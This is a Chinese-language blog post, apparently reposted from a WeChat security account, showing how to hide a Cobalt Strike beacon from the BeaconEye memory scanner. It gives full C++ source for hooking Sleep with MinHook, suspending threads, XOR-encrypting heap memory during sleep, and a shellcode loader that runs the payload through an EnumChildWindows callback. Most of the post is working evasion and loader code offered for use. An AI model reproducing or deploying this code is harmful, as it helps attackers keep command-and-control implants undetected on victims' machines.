为什么要挂钩Sleep函数?
因为杀软不是一直在扫描内存,所以我们可以在Cobalt Strike的睡眠期间进行堆栈加密来避免杀软扫到我们的恶意载荷。
先来看效果:
如下这是我们loader程序,我们运行起来。并且我们使用BeaconEye并没有扫描出来。
我们可以看到已经上线了。
这里我们将Sleep 设置为0,再次让BeaocnEye进行扫描。
可以看到已经扫描出来了。
也就是说在CS的睡眠期间,堆栈是加密的,等他睡眠过后进行了解密。
如何实现?
-
挂起线程
-
遍历堆中的每一个分配空间然后对其进行加密。
-
时间恢复之后进行解密。
-
恢复线程。
挂起线程
首先利用CreateToolhelp32Snapshot函数来获取指定进程以及这些进程使用的堆、模块和线程的快照,这里我们第一个参数给TH32CS_SNAPTHREAD,表示我们要获取到系统中的所有线程,第二个参数给0表示指定的是当前的线程。
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
然后调用Thread32First函数来检索系统快照中遇到的任何进程的第一个线程的相关信息。
这里的第一个参数表示快照的句柄,也就是我们上一步通过CreateToolhelp32Snapshot函数返回的句柄,第二个参数指向 THREADENTRY32 结构的指针,所以我们需要定义一个 THREADENTRY32 结构的指针。它的返回值是如果线程列表的第一个条目已复制到缓冲区,则返回 TRUE ,否则返回 FALSE 。
THREADENTRY32 th;
&te)
然后通过openThread函数来打开当前现有的线程对象。
这里的第一个参数表示对线程对象的访问。根据线程的安全描述符检查此访问权限。
第二个参数如果为TRUE的话则此进程创建的进程将继承句柄,这里给FALSE。
最后一个参数就是你要打开的线程的标识符。
HANDLE thread = OpenThread(THREAD_ALL_ACCESS, FALSE, th.th32ThreadID);
最后调用SuspendThread函数挂起线程。
它只有一个参数就是你要挂起线程的句柄也就是上一步通过openThread函数来打开的线程对象句柄。
SuspendThread(thread);
完整代码:
void PendingThread(DWORD processid, DWORD Id)
{
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (h != INVALID_HANDLE_VALUE)
{
THREADENTRY32 th;
th.dwSize = sizeof(th);
if (Thread32First(h, &th))
{
do
{
if (th.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(th.th32OwnerProcessID))
{
if (th.th32ThreadID != Id && th.th32OwnerProcessID == processid)
{
HANDLE thread = OpenThread(THREAD_ALL_ACCESS, FALSE, th.th32ThreadID);
if (thread != NULL)
{
SuspendThread(thread);
CloseHandle(thread);
}
}
}
th.dwSize = sizeof(th);
} while (Thread32Next(h, &th));
}
CloseHandle(h);
}
}
恢复线程
恢复线程和挂起线程差不多,唯一的区别在于挂起线程使用SuspendThread函数,而恢复线程使用ResumeThread函数。
void RestoreThreads(DWORD processid, DWORD Id)
{
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (h != INVALID_HANDLE_VALUE)
{
THREADENTRY32 th;
th.dwSize = sizeof(th);
if (Thread32First(h, &th))
{
do
{
if (th.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(th.th32OwnerProcessID))
{
if (th.th32ThreadID != Id && th.th32OwnerProcessID == processid)
{
HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, th.th32ThreadID);
if (thread != NULL)
{
ResumeThread(thread);
CloseHandle(thread);
}
}
}
th.dwSize = sizeof(th);
} while (Thread32Next(h, &th));
}
CloseHandle(h);
}
}
遍历堆栈
接下来我们需要遍历堆栈,然后进行加密,这里我们需要使用到HeapWalk函数。
HeapWalk函数将枚举堆中的内存块。枚举出来之后我们进行加密即可,这里有两个参数,第一个参数表示堆的句柄。这里我们需要使用getProcessHeap函数来调用进程的默认堆的句柄。第二个参数指向PROCESS_HEAP_ENTRY结构的指针,PROCESS_HEAP_ENTRY结构如下:
typedef struct _PROCESS_HEAP_ENTRY {
PVOID lpData;
DWORD cbData;
BYTE cbOverhead;
BYTE iRegionIndex;
WORD wFlags;
union {
struct {
HANDLE hMem;
DWORD dwReserved[3];
Block;
struct {
DWORD dwCommittedSize;
DWORD dwUnCommittedSize;
LPVOID lpFirstBlock;
LPVOID lpLastBlock;
Region;
DUMMYUNIONNAME;
PROCESS_HEAP_ENTRY, *LPPROCESS_HEAP_ENTRY, *PPROCESS_HEAP_ENTRY;
这里我们需要关注的是wFlags参数,这个参数表示的是堆元素的属性,里面有很多值可以参考如下:
https://learn.microsoft.com/zh-cn/windows/win32/api/minwinbase/ns-minwinbase-process_heap_entry
遍历完成之后然后通过异或进行加密,当然你也可以使用RC4等等加密方式。
如下代码:
PROCESS_HEAP_ENTRY entry;
const char key[] = "DWADWADWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASADSADSADSADAS";
size_t keySize = sizeof(key);
void Stackencryption() {
SecureZeroMemory(&entry, sizeof(entry));
while (HeapWalk(GetProcessHeap(), &entry)) {
if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
xor_bidirectional_encode((PBYTE)(entry.lpData),entry.cbData,(PBYTE)key,keySize);
}
}
}
异或代码:
void xor_bidirectional_encode(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN PBYTE bKey, IN SIZE_T sKeySize) {
for (size_t i = 0, j = 0; i < sShellcodeSize; i++, j++) {
if (j > sKeySize) {
j = 0;
}
pShellcode[i] = pShellcode[i] ^ bKey[j % 8] + 1;
}
}
MinHook
上面搞定之后接下来使用MinHook来挂钩Sleep函数。
前面的公众号文章也说到过我们只需要自定义一个函数,当调用原始函数的时候触发挂钩然后跳转到我们自定义的函数。说的简单点就是一个jmp的操作。
可以参考我这里的公众号文章:
https://mp.weixin.qq.com/s/JH7IyZGHLTym2e4I179XXw
下载地址为:
https://github.com/TsudaKageyu/minhook
首先需要将lib文件和Minhook.h文件拉入到项目中。
int main()
{
}
这里我们直接给出代码了,因为上面文章已经介绍过了。
void(WINAPI* SleepTest)(DWORD dwMiliseconds);
void WINAPI HookedSleep(DWORD dwMiliseconds) {
DWORD time = dwMiliseconds;
if (time > 3000) { //如果时间大于1秒的话
//首先挂起线程
PendingThread(GetCurrentProcessId(), GetCurrentThreadId());
//加密
Stackencryption();
SleepTest(dwMiliseconds);
//进行解密
Stackencryption();
//然后恢复挂起的线程
RestoreThreads(GetCurrentProcessId(), GetCurrentThreadId());
}
else {
SleepTest(time);
}
}
template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID pTarget, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHook(pTarget, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
template <typename T>
inline MH_STATUS MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHookApi(
pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
BOOL HookTest() {
if (MH_Initialize() != MH_OK)
{
return 1;
}
if (MH_CreateHookApiEx(
L"kernel32.dll", "Sleep", &HookedSleep, &SleepTest) != MH_OK)
{
return 1;
}
if (MH_EnableHook(MH_ALL_HOOKS) != MH_OK)
{
return 1;
}
}
最后我们执行Shellcode即可,在执行shellcode之前调用HookTest即可。
int main(){
HookTest();
unsigned char dll[263168] = {shellcode}
SIZE_T size = sizeof(dll);
SIZE_T bytesWritten = 0;
DWORD oldProtect = 0;
void* sh = VirtualAllocEx(GetCurrentProcess(), 0, (SIZE_T)size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(GetCurrentProcess(), sh, dll, size, &bytesWritten);
VirtualProtectEx(GetCurrentProcess(), sh, size, PAGE_EXECUTE_READ, &oldProtect);
EnumChildWindows(NULL, (WNDENUMPROC)sh, NULL);
}
然后我们使用BeaconEye扫描,可以看到已经扫描不到了。
正常上线:
完整代码:
void PendingThread(DWORD processid, DWORD Id)
{
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (h != INVALID_HANDLE_VALUE)
{
THREADENTRY32 th;
th.dwSize = sizeof(th);
if (Thread32First(h, &th))
{
do
{
if (th.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(th.th32OwnerProcessID))
{
if (th.th32ThreadID != Id && th.th32OwnerProcessID == processid)
{
HANDLE thread = OpenThread(THREAD_ALL_ACCESS, FALSE, th.th32ThreadID);
if (thread != NULL)
{
SuspendThread(thread);
CloseHandle(thread);
}
}
}
th.dwSize = sizeof(th);
} while (Thread32Next(h, &th));
}
CloseHandle(h);
}
}
void RestoreThreads(DWORD processid, DWORD Id)
{
HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (h != INVALID_HANDLE_VALUE)
{
THREADENTRY32 th;
th.dwSize = sizeof(th);
if (Thread32First(h, &th))
{
do
{
if (th.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(th.th32OwnerProcessID))
{
if (th.th32ThreadID != Id && th.th32OwnerProcessID == processid)
{
HANDLE thread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, th.th32ThreadID);
if (thread != NULL)
{
ResumeThread(thread);
CloseHandle(thread);
}
}
}
th.dwSize = sizeof(th);
} while (Thread32Next(h, &th));
}
CloseHandle(h);
}
}
void xor_bidirectional_encode(IN PBYTE pShellcode, IN SIZE_T sShellcodeSize, IN PBYTE bKey, IN SIZE_T sKeySize) {
for (size_t i = 0, j = 0; i < sShellcodeSize; i++, j++) {
if (j > sKeySize) {
j = 0;
}
pShellcode[i] = pShellcode[i] ^ bKey[j % 8] + 1;
}
}
const char key[] = "DWADWADWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASADSADSADSADAS";
size_t keySize = sizeof(key);
PROCESS_HEAP_ENTRY entry;
void Stackencryption() {
SecureZeroMemory(&entry, sizeof(entry));
while (HeapWalk(GetProcessHeap(), &entry)) {
if ((entry.wFlags & PROCESS_HEAP_ENTRY_BUSY) != 0) {
xor_bidirectional_encode((PBYTE)(entry.lpData), entry.cbData, (PBYTE)key, keySize);
}
}
}
void(WINAPI* SleepTest)(DWORD dwMiliseconds);
//Hook Sleep函数
void WINAPI HookedSleep(DWORD dwMiliseconds) {
DWORD time = dwMiliseconds;
if (time > 3000) { //如果时间大于1秒的话
//首先挂起线程
PendingThread(GetCurrentProcessId(), GetCurrentThreadId());
//加密
Stackencryption();
SleepTest(dwMiliseconds);
//进行解密
Stackencryption();
//然后恢复挂起的线程
RestoreThreads(GetCurrentProcessId(), GetCurrentThreadId());
}
else {
SleepTest(time);
}
}
template <typename T>
inline MH_STATUS MH_CreateHookEx(LPVOID pTarget, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHook(pTarget, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
template <typename T>
inline MH_STATUS MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, T** ppOriginal)
{
return MH_CreateHookApi(
pszModule, pszProcName, pDetour, reinterpret_cast<LPVOID*>(ppOriginal));
}
BOOL HookTest() {
if (MH_Initialize() != MH_OK)
{
return 1;
}
if (MH_CreateHookApiEx(
L"kernel32.dll", "Sleep", &HookedSleep, &SleepTest) != MH_OK)
{
return 1;
}
if (MH_EnableHook(MH_ALL_HOOKS) != MH_OK)
{
return 1;
}
}
int main()
{
HookTest();
unsigned char dll[263168] = {shellcode}
SIZE_T size = sizeof(dll);
SIZE_T bytesWritten = 0;
DWORD oldProtect = 0;
void* sh = VirtualAllocEx(GetCurrentProcess(), 0, (SIZE_T)size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(GetCurrentProcess(), sh, dll, size, &bytesWritten);
VirtualProtectEx(GetCurrentProcess(), sh, size, PAGE_EXECUTE_READ, &oldProtect);
EnumChildWindows(NULL, (WNDENUMPROC)sh, NULL);
}
参考:
https://tttang.com/archive/1392/
记得关注转发噢 么么哒。
原文始发于微信公众号(Relay学安全):挂钩Sleep函数绕过BeaocnEye
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论